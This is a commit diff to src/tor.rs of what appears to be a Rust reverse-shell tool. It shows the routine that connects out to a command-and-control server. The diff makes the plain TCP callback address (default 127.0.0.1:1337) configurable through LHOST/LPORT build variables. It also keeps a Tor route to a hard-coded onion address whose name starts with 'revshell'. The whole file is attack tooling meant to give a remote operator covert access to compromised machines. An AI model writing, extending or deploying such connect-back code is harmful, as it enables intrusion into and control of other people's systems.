Bug fixes
This commit is contained in:
14
src/tor.rs
14
src/tor.rs
@@ -6,9 +6,9 @@ use tokio::net::TcpStream;
|
||||
#[inline]
|
||||
#[cfg(not(feature = "tor"))]
|
||||
pub async fn connect() -> std::io::Result<TcpStream> {
|
||||
static CNC: &str = "127.0.0.1:1337";
|
||||
let cnc: String = std::option_env!("LHOST").unwrap_or("127.0.0.1").to_owned() + ":" + std::option_env!("LPORT").unwrap_or("1337");
|
||||
let sock = tokio::net::TcpSocket::new_v4()?;
|
||||
let stream = sock.connect(CNC.parse().unwrap()).await?;
|
||||
let stream = sock.connect(cnc.parse().unwrap()).await?;
|
||||
stream.set_nodelay(true)?;
|
||||
Ok(stream)
|
||||
}
|
||||
@@ -17,14 +17,20 @@ pub async fn connect() -> std::io::Result<TcpStream> {
|
||||
#[cfg(feature = "tor")]
|
||||
pub async fn connect() -> std::io::Result<DataStream> {
|
||||
use arti_client::{config::TorClientConfigBuilder, TorClient};
|
||||
static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion";
|
||||
static CNC: &str = match std::option_env!("LHOST") {
|
||||
None => "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion",
|
||||
Some(host) => host,
|
||||
};
|
||||
let config = {
|
||||
let mut conf = TorClientConfigBuilder::default();
|
||||
conf.address_filter().allow_onion_addrs(true);
|
||||
conf.build().unwrap()
|
||||
};
|
||||
let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
|
||||
match tor_client.connect((CNC, 1337)).await {
|
||||
match tor_client.connect((CNC, match std::option_env!("LPORT") {
|
||||
Some(port) => port.parse().unwrap(),
|
||||
None => 1337,
|
||||
})).await {
|
||||
Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
|
||||
Ok(stream) => Ok(stream),
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user